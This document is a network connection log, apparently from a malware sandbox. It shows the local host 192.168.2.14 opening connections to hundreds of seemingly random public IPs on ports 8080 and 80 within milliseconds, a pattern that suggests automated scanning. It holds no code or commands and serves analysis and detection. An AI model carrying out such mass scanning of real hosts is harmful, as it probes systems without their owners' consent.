Mar 21, 2024 05:21:09.757746935 CET	17321	8080	192.168.2.14	98.81.175.83
Mar 21, 2024 05:21:09.757747889 CET	17321	8080	192.168.2.14	184.130.110.59
Mar 21, 2024 05:21:09.757747889 CET	17321	8080	192.168.2.14	172.75.141.24
Mar 21, 2024 05:21:09.757747889 CET	17321	8080	192.168.2.14	172.249.100.251
Mar 21, 2024 05:21:09.757774115 CET	17321	8080	192.168.2.14	98.57.17.22
Mar 21, 2024 05:21:09.757775068 CET	17321	8080	192.168.2.14	184.91.223.148
Mar 21, 2024 05:21:09.757775068 CET	17321	8080	192.168.2.14	98.49.247.232
Mar 21, 2024 05:21:09.757778883 CET	17321	8080	192.168.2.14	172.170.137.53
Mar 21, 2024 05:21:09.757778883 CET	17321	8080	192.168.2.14	98.106.199.92
Mar 21, 2024 05:21:09.757783890 CET	17321	8080	192.168.2.14	184.93.83.218
Mar 21, 2024 05:21:09.757783890 CET	17321	8080	192.168.2.14	172.216.148.7
Mar 21, 2024 05:21:09.757785082 CET	17321	8080	192.168.2.14	184.57.10.47
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	172.14.149.250
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	184.226.158.140
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	172.141.88.195
Mar 21, 2024 05:21:09.757807016 CET	17321	8080	192.168.2.14	184.125.223.47
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	184.96.151.5
Mar 21, 2024 05:21:09.757807016 CET	17321	8080	192.168.2.14	98.25.126.240
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	172.173.39.208
Mar 21, 2024 05:21:09.757807016 CET	17321	8080	192.168.2.14	172.81.21.162
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	172.10.103.93
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	172.56.38.5
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	98.237.175.141
Mar 21, 2024 05:21:09.757813931 CET	17321	8080	192.168.2.14	184.73.54.39
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	184.125.105.173
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	98.206.56.40
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	172.182.33.29
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	98.222.39.38
Mar 21, 2024 05:21:09.757807016 CET	17321	8080	192.168.2.14	172.39.42.82
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	184.42.108.253
Mar 21, 2024 05:21:09.757813931 CET	17321	8080	192.168.2.14	98.50.96.108
Mar 21, 2024 05:21:09.757807970 CET	17321	8080	192.168.2.14	172.120.23.88
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	184.154.43.165
Mar 21, 2024 05:21:09.757813931 CET	17321	8080	192.168.2.14	172.62.58.108
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	184.138.125.158
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	172.58.242.201
Mar 21, 2024 05:21:09.757805109 CET	17321	8080	192.168.2.14	172.179.16.202
Mar 21, 2024 05:21:09.757814884 CET	17321	8080	192.168.2.14	98.2.136.167
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	98.242.230.112
Mar 21, 2024 05:21:09.757814884 CET	17321	8080	192.168.2.14	98.24.64.163
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	172.229.236.73
Mar 21, 2024 05:21:09.757826090 CET	17321	8080	192.168.2.14	172.199.30.133
Mar 21, 2024 05:21:09.757811069 CET	17321	8080	192.168.2.14	98.218.153.163
Mar 21, 2024 05:21:09.757826090 CET	17321	8080	192.168.2.14	98.202.32.183
Mar 21, 2024 05:21:09.757826090 CET	17321	8080	192.168.2.14	98.29.91.203
Mar 21, 2024 05:21:09.757826090 CET	17321	8080	192.168.2.14	184.180.239.106
Mar 21, 2024 05:21:09.757826090 CET	17321	8080	192.168.2.14	172.85.11.91
Mar 21, 2024 05:21:09.757827044 CET	17321	8080	192.168.2.14	184.85.7.65
Mar 21, 2024 05:21:09.757827044 CET	17321	8080	192.168.2.14	98.69.110.94
Mar 21, 2024 05:21:09.757827044 CET	17321	8080	192.168.2.14	184.148.138.152
Mar 21, 2024 05:21:09.757848024 CET	17321	8080	192.168.2.14	98.196.223.184
Mar 21, 2024 05:21:09.757863045 CET	17321	8080	192.168.2.14	172.49.205.224
Mar 21, 2024 05:21:09.757875919 CET	17321	8080	192.168.2.14	172.129.205.43
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	172.95.3.123
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	172.218.109.184
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	98.18.162.113
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	98.165.145.226
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	98.96.48.206
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	172.68.139.59
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	184.55.96.199
Mar 21, 2024 05:21:09.757878065 CET	17321	8080	192.168.2.14	98.87.195.94
Mar 21, 2024 05:21:09.757885933 CET	17321	8080	192.168.2.14	184.241.154.101
Mar 21, 2024 05:21:09.757885933 CET	17321	8080	192.168.2.14	184.201.154.170
Mar 21, 2024 05:21:09.757885933 CET	17321	8080	192.168.2.14	172.191.142.237
Mar 21, 2024 05:21:09.757885933 CET	17321	8080	192.168.2.14	184.40.138.96
Mar 21, 2024 05:21:09.757885933 CET	17321	8080	192.168.2.14	172.230.109.173
Mar 21, 2024 05:21:09.757885933 CET	17321	8080	192.168.2.14	172.147.135.27
Mar 21, 2024 05:21:09.757889986 CET	17321	8080	192.168.2.14	172.29.41.149
Mar 21, 2024 05:21:09.757889986 CET	17321	8080	192.168.2.14	172.42.200.78
Mar 21, 2024 05:21:09.757889986 CET	17321	8080	192.168.2.14	98.129.234.87
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	184.9.228.126
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	184.80.85.182
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	172.142.36.2
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	172.153.169.242
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	172.43.240.107
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	184.113.148.122
Mar 21, 2024 05:21:09.757890940 CET	17321	8080	192.168.2.14	98.32.86.73
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	98.69.162.76
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	98.252.92.138
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	184.7.97.20
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	184.73.113.251
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	184.183.195.50
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	172.67.36.107
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	172.206.191.181
Mar 21, 2024 05:21:09.757900953 CET	17321	8080	192.168.2.14	172.180.125.214
Mar 21, 2024 05:21:09.757901907 CET	17321	8080	192.168.2.14	98.248.62.67
Mar 21, 2024 05:21:09.757901907 CET	17321	8080	192.168.2.14	98.183.86.231
Mar 21, 2024 05:21:09.757901907 CET	17321	8080	192.168.2.14	98.20.62.47
Mar 21, 2024 05:21:09.757915974 CET	17321	8080	192.168.2.14	172.163.249.54
Mar 21, 2024 05:21:09.757915974 CET	17321	8080	192.168.2.14	172.161.217.18
Mar 21, 2024 05:21:09.757922888 CET	17321	8080	192.168.2.14	172.90.249.190
Mar 21, 2024 05:21:09.757922888 CET	17321	8080	192.168.2.14	172.186.184.91
Mar 21, 2024 05:21:09.757922888 CET	17321	8080	192.168.2.14	172.108.143.247
Mar 21, 2024 05:21:09.757942915 CET	17321	8080	192.168.2.14	184.162.125.46
Mar 21, 2024 05:21:09.757942915 CET	17321	8080	192.168.2.14	98.175.146.44
Mar 21, 2024 05:21:09.757942915 CET	17321	8080	192.168.2.14	184.148.21.97
Mar 21, 2024 05:21:09.757950068 CET	17321	8080	192.168.2.14	98.162.231.132
Mar 21, 2024 05:21:09.757950068 CET	17321	8080	192.168.2.14	172.142.228.82
Mar 21, 2024 05:21:09.757950068 CET	17321	8080	192.168.2.14	184.128.166.55
Mar 21, 2024 05:21:09.757951021 CET	17321	8080	192.168.2.14	172.209.234.180
Mar 21, 2024 05:21:09.757951021 CET	17321	8080	192.168.2.14	184.1.5.160
Mar 21, 2024 05:21:09.757951021 CET	17321	8080	192.168.2.14	184.70.15.11
Mar 21, 2024 05:21:09.757965088 CET	17321	8080	192.168.2.14	184.194.23.176
Mar 21, 2024 05:21:09.757965088 CET	17321	8080	192.168.2.14	184.254.190.8
Mar 21, 2024 05:21:09.757965088 CET	17321	8080	192.168.2.14	184.228.249.191
Mar 21, 2024 05:21:09.757965088 CET	17321	8080	192.168.2.14	98.136.145.64
Mar 21, 2024 05:21:09.757980108 CET	17321	8080	192.168.2.14	98.31.70.75
Mar 21, 2024 05:21:09.757980108 CET	17321	8080	192.168.2.14	98.10.211.95
Mar 21, 2024 05:21:09.757980108 CET	17321	8080	192.168.2.14	172.187.159.108
Mar 21, 2024 05:21:09.757980108 CET	17321	8080	192.168.2.14	172.117.165.239
Mar 21, 2024 05:21:09.757980108 CET	17321	8080	192.168.2.14	98.86.138.49
Mar 21, 2024 05:21:09.757980108 CET	17321	8080	192.168.2.14	98.230.21.76
Mar 21, 2024 05:21:09.757992983 CET	17321	8080	192.168.2.14	172.80.238.16
Mar 21, 2024 05:21:09.757992983 CET	17321	8080	192.168.2.14	98.170.8.200
Mar 21, 2024 05:21:09.757992983 CET	17321	8080	192.168.2.14	172.219.135.113
Mar 21, 2024 05:21:09.758001089 CET	17321	8080	192.168.2.14	184.79.3.89
Mar 21, 2024 05:21:09.758018017 CET	17321	8080	192.168.2.14	184.17.150.46
Mar 21, 2024 05:21:09.758023024 CET	17321	8080	192.168.2.14	98.194.191.53
Mar 21, 2024 05:21:09.758023024 CET	17321	8080	192.168.2.14	172.75.194.43
Mar 21, 2024 05:21:09.758023024 CET	17321	8080	192.168.2.14	98.189.113.212
Mar 21, 2024 05:21:09.758023024 CET	17321	8080	192.168.2.14	98.23.7.115
Mar 21, 2024 05:21:09.758023024 CET	17321	8080	192.168.2.14	98.58.181.241
Mar 21, 2024 05:21:09.758024931 CET	17321	8080	192.168.2.14	98.91.26.175
Mar 21, 2024 05:21:09.758024931 CET	17321	8080	192.168.2.14	172.85.250.82
Mar 21, 2024 05:21:09.758025885 CET	17321	8080	192.168.2.14	184.65.49.194
Mar 21, 2024 05:21:09.758025885 CET	17321	8080	192.168.2.14	184.115.49.114
Mar 21, 2024 05:21:09.758025885 CET	17321	8080	192.168.2.14	184.103.131.110
Mar 21, 2024 05:21:09.758025885 CET	17321	8080	192.168.2.14	98.50.144.225
Mar 21, 2024 05:21:09.758025885 CET	17321	8080	192.168.2.14	172.111.170.103
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	184.172.18.129
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	172.138.173.72
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	172.216.229.227
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	172.12.24.29
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	98.15.77.123
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	98.10.220.85
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	98.214.4.122
Mar 21, 2024 05:21:09.758042097 CET	17321	8080	192.168.2.14	172.112.159.119
Mar 21, 2024 05:21:09.758044958 CET	17321	8080	192.168.2.14	184.107.130.110
Mar 21, 2024 05:21:09.758044958 CET	17321	8080	192.168.2.14	172.250.121.85
Mar 21, 2024 05:21:09.758044958 CET	17321	8080	192.168.2.14	184.227.40.196
Mar 21, 2024 05:21:09.758045912 CET	17321	8080	192.168.2.14	98.252.102.102
Mar 21, 2024 05:21:09.758045912 CET	17321	8080	192.168.2.14	184.227.233.100
Mar 21, 2024 05:21:09.758045912 CET	17321	8080	192.168.2.14	184.132.226.69
Mar 21, 2024 05:21:09.758045912 CET	17321	8080	192.168.2.14	98.229.190.77
Mar 21, 2024 05:21:09.758045912 CET	17321	8080	192.168.2.14	172.73.138.205
Mar 21, 2024 05:21:09.758052111 CET	17321	8080	192.168.2.14	172.10.148.85
Mar 21, 2024 05:21:09.758057117 CET	17321	8080	192.168.2.14	184.249.80.47
Mar 21, 2024 05:21:09.758057117 CET	17321	8080	192.168.2.14	98.107.136.151
Mar 21, 2024 05:21:09.758057117 CET	17321	8080	192.168.2.14	172.226.173.213
Mar 21, 2024 05:21:09.758059978 CET	17321	8080	192.168.2.14	172.97.1.90
Mar 21, 2024 05:21:09.758059978 CET	17321	8080	192.168.2.14	98.126.13.214
Mar 21, 2024 05:21:09.758059978 CET	17321	8080	192.168.2.14	184.228.47.232
Mar 21, 2024 05:21:09.758059978 CET	17321	8080	192.168.2.14	98.174.96.0
Mar 21, 2024 05:21:09.758060932 CET	17321	8080	192.168.2.14	172.35.179.185
Mar 21, 2024 05:21:09.758065939 CET	17321	8080	192.168.2.14	98.150.254.149
Mar 21, 2024 05:21:09.758066893 CET	17321	8080	192.168.2.14	172.244.63.227
Mar 21, 2024 05:21:09.758066893 CET	17321	8080	192.168.2.14	184.124.108.182
Mar 21, 2024 05:21:09.758066893 CET	17321	8080	192.168.2.14	172.38.41.74
Mar 21, 2024 05:21:09.758066893 CET	17321	8080	192.168.2.14	98.20.26.133
Mar 21, 2024 05:21:09.758066893 CET	17321	8080	192.168.2.14	172.173.144.60
Mar 21, 2024 05:21:09.758073092 CET	17321	8080	192.168.2.14	98.170.26.222
Mar 21, 2024 05:21:09.758073092 CET	17321	8080	192.168.2.14	98.206.21.232
Mar 21, 2024 05:21:09.758073092 CET	17321	8080	192.168.2.14	172.212.205.236
Mar 21, 2024 05:21:09.758073092 CET	17321	8080	192.168.2.14	98.84.42.179
Mar 21, 2024 05:21:09.758073092 CET	17321	8080	192.168.2.14	184.248.11.255
Mar 21, 2024 05:21:09.758093119 CET	17321	8080	192.168.2.14	184.188.249.204
Mar 21, 2024 05:21:09.758115053 CET	17321	8080	192.168.2.14	172.224.111.251
Mar 21, 2024 05:21:09.758124113 CET	17321	8080	192.168.2.14	184.216.212.177
Mar 21, 2024 05:21:09.758125067 CET	17321	8080	192.168.2.14	184.206.201.182
Mar 21, 2024 05:21:09.758136988 CET	17321	8080	192.168.2.14	172.131.190.163
Mar 21, 2024 05:21:09.758136988 CET	17321	8080	192.168.2.14	172.183.115.135
Mar 21, 2024 05:21:09.758145094 CET	17321	8080	192.168.2.14	172.136.241.79
Mar 21, 2024 05:21:09.758145094 CET	17321	8080	192.168.2.14	172.142.101.58
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	184.181.203.112
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	172.195.5.0
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	172.246.117.38
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	172.29.254.3
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	172.215.154.143
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	184.50.59.14
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	98.191.49.33
Mar 21, 2024 05:21:09.758152008 CET	17321	8080	192.168.2.14	184.15.192.173
Mar 21, 2024 05:21:09.758153915 CET	17321	8080	192.168.2.14	184.215.144.103
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	172.202.54.126
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	172.165.212.197
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	98.7.78.99
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	172.10.34.229
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	98.15.223.121
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	184.237.236.69
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	98.119.171.69
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	98.116.140.57
Mar 21, 2024 05:21:09.758158922 CET	17321	8080	192.168.2.14	98.8.32.94
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	172.134.206.116
Mar 21, 2024 05:21:09.758158922 CET	17321	8080	192.168.2.14	98.154.6.39
Mar 21, 2024 05:21:09.758156061 CET	17321	8080	192.168.2.14	172.247.224.45
Mar 21, 2024 05:21:09.758158922 CET	17321	8080	192.168.2.14	184.86.0.132
Mar 21, 2024 05:21:09.758157015 CET	17321	8080	192.168.2.14	98.217.48.112
Mar 21, 2024 05:21:09.758158922 CET	17321	8080	192.168.2.14	172.27.176.122
Mar 21, 2024 05:21:09.758157015 CET	17321	8080	192.168.2.14	98.130.191.87
Mar 21, 2024 05:21:09.758158922 CET	17321	8080	192.168.2.14	184.238.38.177
Mar 21, 2024 05:21:09.758162975 CET	17321	8080	192.168.2.14	172.28.78.164
Mar 21, 2024 05:21:09.758162975 CET	17321	8080	192.168.2.14	172.230.111.130
Mar 21, 2024 05:21:09.758191109 CET	17321	8080	192.168.2.14	172.239.182.132
Mar 21, 2024 05:21:09.758192062 CET	17321	8080	192.168.2.14	172.77.141.5
Mar 21, 2024 05:21:09.758199930 CET	17321	8080	192.168.2.14	184.224.157.124
Mar 21, 2024 05:21:09.758203030 CET	17321	8080	192.168.2.14	184.113.138.207
Mar 21, 2024 05:21:09.758203983 CET	17321	8080	192.168.2.14	172.127.6.243
Mar 21, 2024 05:21:09.758212090 CET	17321	8080	192.168.2.14	172.113.177.38
Mar 21, 2024 05:21:09.758212090 CET	17321	8080	192.168.2.14	172.209.237.178
Mar 21, 2024 05:21:09.758214951 CET	17321	8080	192.168.2.14	98.135.76.220
Mar 21, 2024 05:21:09.758218050 CET	17321	8080	192.168.2.14	172.117.221.253
Mar 21, 2024 05:21:09.758218050 CET	17321	8080	192.168.2.14	98.119.58.17
Mar 21, 2024 05:21:09.758219004 CET	17321	8080	192.168.2.14	172.78.103.228
Mar 21, 2024 05:21:09.758219004 CET	17321	8080	192.168.2.14	98.190.209.179
Mar 21, 2024 05:21:09.758219004 CET	17321	8080	192.168.2.14	172.241.202.119
Mar 21, 2024 05:21:09.758254051 CET	17321	8080	192.168.2.14	184.108.100.164
Mar 21, 2024 05:21:09.758254051 CET	17321	8080	192.168.2.14	172.34.19.110
Mar 21, 2024 05:21:09.758254051 CET	17321	8080	192.168.2.14	184.202.94.129
Mar 21, 2024 05:21:09.758254051 CET	17321	8080	192.168.2.14	184.40.149.255
Mar 21, 2024 05:21:09.758254051 CET	17321	8080	192.168.2.14	184.175.236.120
Mar 21, 2024 05:21:09.758264065 CET	17321	8080	192.168.2.14	172.198.36.84
Mar 21, 2024 05:21:09.758264065 CET	17321	8080	192.168.2.14	172.135.238.180
Mar 21, 2024 05:21:09.758264065 CET	17321	8080	192.168.2.14	98.200.238.196
Mar 21, 2024 05:21:09.758265018 CET	17321	8080	192.168.2.14	184.167.117.203
Mar 21, 2024 05:21:09.758264065 CET	17321	8080	192.168.2.14	172.38.218.107
Mar 21, 2024 05:21:09.758264065 CET	17321	8080	192.168.2.14	98.65.74.140
Mar 21, 2024 05:21:09.758265018 CET	17321	8080	192.168.2.14	184.203.134.60
Mar 21, 2024 05:21:09.758265018 CET	17321	8080	192.168.2.14	172.3.3.174
Mar 21, 2024 05:21:09.758275032 CET	17321	8080	192.168.2.14	184.182.119.23
Mar 21, 2024 05:21:09.758276939 CET	17321	8080	192.168.2.14	172.215.237.153
Mar 21, 2024 05:21:09.758276939 CET	17321	8080	192.168.2.14	98.47.211.163
Mar 21, 2024 05:21:09.758276939 CET	17321	8080	192.168.2.14	98.158.253.101
Mar 21, 2024 05:21:09.758289099 CET	17321	8080	192.168.2.14	98.164.122.55
Mar 21, 2024 05:21:09.758289099 CET	17321	8080	192.168.2.14	184.240.141.206
Mar 21, 2024 05:21:09.758290052 CET	17321	8080	192.168.2.14	172.37.11.35
Mar 21, 2024 05:21:09.758291960 CET	17321	8080	192.168.2.14	98.245.69.174
Mar 21, 2024 05:21:09.758292913 CET	17321	8080	192.168.2.14	98.242.118.125
Mar 21, 2024 05:21:09.758292913 CET	17321	8080	192.168.2.14	184.201.88.8
Mar 21, 2024 05:21:09.758292913 CET	17321	8080	192.168.2.14	184.74.248.240
Mar 21, 2024 05:21:09.758292913 CET	17321	8080	192.168.2.14	98.13.15.22
Mar 21, 2024 05:21:09.758292913 CET	17321	8080	192.168.2.14	184.90.196.182
Mar 21, 2024 05:21:09.758296967 CET	17321	8080	192.168.2.14	172.114.227.12
Mar 21, 2024 05:21:09.758296967 CET	17321	8080	192.168.2.14	98.94.145.0
Mar 21, 2024 05:21:09.758296967 CET	17321	8080	192.168.2.14	98.150.121.76
Mar 21, 2024 05:21:09.758296967 CET	17321	8080	192.168.2.14	184.151.87.22
Mar 21, 2024 05:21:09.758296967 CET	17321	8080	192.168.2.14	184.185.171.72
Mar 21, 2024 05:21:09.758316040 CET	17321	8080	192.168.2.14	98.30.60.59
Mar 21, 2024 05:21:09.758316040 CET	17321	8080	192.168.2.14	184.226.83.37
Mar 21, 2024 05:21:09.758316040 CET	17321	8080	192.168.2.14	98.71.107.30
Mar 21, 2024 05:21:09.758337975 CET	17321	8080	192.168.2.14	172.208.208.248
Mar 21, 2024 05:21:09.758341074 CET	17321	8080	192.168.2.14	98.225.230.97
Mar 21, 2024 05:21:09.758341074 CET	17321	8080	192.168.2.14	172.15.39.133
Mar 21, 2024 05:21:09.758341074 CET	17321	8080	192.168.2.14	172.215.139.226
Mar 21, 2024 05:21:09.758341074 CET	17321	8080	192.168.2.14	98.85.254.107
Mar 21, 2024 05:21:09.758341074 CET	17321	8080	192.168.2.14	172.31.119.136
Mar 21, 2024 05:21:09.758341074 CET	17321	8080	192.168.2.14	184.153.179.64
Mar 21, 2024 05:21:09.758347988 CET	17321	8080	192.168.2.14	184.150.231.240
Mar 21, 2024 05:21:09.758347988 CET	17321	8080	192.168.2.14	98.250.28.217
Mar 21, 2024 05:21:09.758356094 CET	17321	8080	192.168.2.14	172.2.68.61
Mar 21, 2024 05:21:09.758358955 CET	17321	8080	192.168.2.14	184.218.110.83
Mar 21, 2024 05:21:09.758358955 CET	17321	8080	192.168.2.14	184.49.161.109
Mar 21, 2024 05:21:09.758358955 CET	17321	8080	192.168.2.14	184.38.241.93
Mar 21, 2024 05:21:09.758358955 CET	17321	8080	192.168.2.14	98.116.217.38
Mar 21, 2024 05:21:09.758362055 CET	17321	8080	192.168.2.14	98.0.198.140
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	184.83.41.132
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	98.156.156.189
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	98.156.175.251
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	98.77.60.245
Mar 21, 2024 05:21:09.758366108 CET	17321	8080	192.168.2.14	98.246.237.104
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	184.98.84.131
Mar 21, 2024 05:21:09.758366108 CET	17321	8080	192.168.2.14	98.28.12.175
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	172.76.67.78
Mar 21, 2024 05:21:09.758366108 CET	17321	8080	192.168.2.14	184.253.80.66
Mar 21, 2024 05:21:09.758363008 CET	17321	8080	192.168.2.14	172.180.94.240
Mar 21, 2024 05:21:09.758366108 CET	17321	8080	192.168.2.14	184.13.234.97
Mar 21, 2024 05:21:09.758367062 CET	17321	8080	192.168.2.14	172.149.208.190
Mar 21, 2024 05:21:09.758387089 CET	17321	8080	192.168.2.14	172.91.81.91
Mar 21, 2024 05:21:09.758387089 CET	17321	8080	192.168.2.14	184.127.99.199
Mar 21, 2024 05:21:09.758387089 CET	17321	8080	192.168.2.14	184.35.102.60
Mar 21, 2024 05:21:09.758481979 CET	17322	80	192.168.2.14	178.163.215.114
Mar 21, 2024 05:21:09.758605003 CET	17322	80	192.168.2.14	200.183.238.119
Mar 21, 2024 05:21:09.758685112 CET	17322	80	192.168.2.14	181.209.187.112
Mar 21, 2024 05:21:09.758724928 CET	17322	80	192.168.2.14	83.189.207.118
Mar 21, 2024 05:21:09.758738995 CET	17322	80	192.168.2.14	178.190.195.167
Mar 21, 2024 05:21:09.758750916 CET	17322	80	192.168.2.14	83.248.46.57
Mar 21, 2024 05:21:09.758759022 CET	17322	80	192.168.2.14	200.1.6.92
Mar 21, 2024 05:21:09.758800030 CET	17322	80	192.168.2.14	86.224.93.166
Mar 21, 2024 05:21:09.759077072 CET	17322	80	192.168.2.14	206.69.55.69
Mar 21, 2024 05:21:09.759176016 CET	17322	80	192.168.2.14	80.181.172.144
Mar 21, 2024 05:21:09.759176016 CET	17322	80	192.168.2.14	181.141.224.92
Mar 21, 2024 05:21:09.759182930 CET	17322	80	192.168.2.14	86.111.226.159
Mar 21, 2024 05:21:09.759269953 CET	17322	80	192.168.2.14	169.20.102.224
Mar 21, 2024 05:21:09.759280920 CET	17322	80	192.168.2.14	206.20.119.169
Mar 21, 2024 05:21:09.759280920 CET	17322	80	192.168.2.14	200.120.184.107
Mar 21, 2024 05:21:09.759280920 CET	17322	80	192.168.2.14	200.47.218.63
Mar 21, 2024 05:21:09.759282112 CET	17322	80	192.168.2.14	200.0.161.61
Mar 21, 2024 05:21:09.759283066 CET	17322	80	192.168.2.14	86.106.97.227
Mar 21, 2024 05:21:09.759283066 CET	17322	80	192.168.2.14	80.130.73.84
Mar 21, 2024 05:21:09.759284019 CET	17322	80	192.168.2.14	169.248.154.240
Mar 21, 2024 05:21:09.759285927 CET	17322	80	192.168.2.14	178.238.77.160
Mar 21, 2024 05:21:09.759438992 CET	17322	80	192.168.2.14	82.11.101.115
Mar 21, 2024 05:21:09.759457111 CET	17322	80	192.168.2.14	181.18.121.125
Mar 21, 2024 05:21:09.759457111 CET	17322	80	192.168.2.14	206.88.203.209
Mar 21, 2024 05:21:09.759511948 CET	17322	80	192.168.2.14	169.77.132.20
Mar 21, 2024 05:21:09.759526968 CET	17322	80	192.168.2.14	86.95.101.211
Mar 21, 2024 05:21:09.759556055 CET	17322	80	192.168.2.14	181.241.184.218
Mar 21, 2024 05:21:09.759557962 CET	17322	80	192.168.2.14	86.132.232.84
Mar 21, 2024 05:21:09.759566069 CET	17322	80	192.168.2.14	178.68.21.148
Mar 21, 2024 05:21:09.759574890 CET	17322	80	192.168.2.14	83.178.15.11
Mar 21, 2024 05:21:09.759574890 CET	17322	80	192.168.2.14	181.24.60.120
Mar 21, 2024 05:21:09.759577036 CET	17322	80	192.168.2.14	86.219.249.255
Mar 21, 2024 05:21:09.759577036 CET	17322	80	192.168.2.14	86.60.250.230
Mar 21, 2024 05:21:09.759578943 CET	17322	80	192.168.2.14	178.238.124.156
Mar 21, 2024 05:21:09.759588957 CET	17322	80	192.168.2.14	200.140.160.53
Mar 21, 2024 05:21:09.759615898 CET	17322	80	192.168.2.14	82.192.85.203
Mar 21, 2024 05:21:09.759618998 CET	17322	80	192.168.2.14	80.219.175.73
Mar 21, 2024 05:21:09.759619951 CET	17322	80	192.168.2.14	206.179.53.86
Mar 21, 2024 05:21:09.759623051 CET	17322	80	192.168.2.14	86.55.250.162
Mar 21, 2024 05:21:09.759623051 CET	17322	80	192.168.2.14	206.195.57.47
Mar 21, 2024 05:21:09.759627104 CET	17322	80	192.168.2.14	206.221.171.204
Mar 21, 2024 05:21:09.759629965 CET	17322	80	192.168.2.14	178.175.207.131
Mar 21, 2024 05:21:09.759634018 CET	17322	80	192.168.2.14	206.247.239.23
Mar 21, 2024 05:21:09.759645939 CET	17322	80	192.168.2.14	80.121.251.178
Mar 21, 2024 05:21:09.759691000 CET	17322	80	192.168.2.14	200.249.188.37
Mar 21, 2024 05:21:09.759692907 CET	17322	80	192.168.2.14	181.181.165.25
Mar 21, 2024 05:21:09.759692907 CET	17322	80	192.168.2.14	213.107.10.113
Mar 21, 2024 05:21:09.759716988 CET	17322	80	192.168.2.14	80.2.213.152
Mar 21, 2024 05:21:09.759716988 CET	17322	80	192.168.2.14	82.234.2.167
Mar 21, 2024 05:21:09.759727001 CET	17322	80	192.168.2.14	169.216.129.227
Mar 21, 2024 05:21:09.759727955 CET	17322	80	192.168.2.14	83.203.244.93
Mar 21, 2024 05:21:09.759732962 CET	17322	80	192.168.2.14	178.205.158.160
Mar 21, 2024 05:21:09.759737968 CET	17322	80	192.168.2.14	213.251.78.188
Mar 21, 2024 05:21:09.759737968 CET	17322	80	192.168.2.14	169.190.75.218
Mar 21, 2024 05:21:09.759813070 CET	17322	80	192.168.2.14	200.115.166.153
Mar 21, 2024 05:21:09.759823084 CET	17322	80	192.168.2.14	178.243.168.245
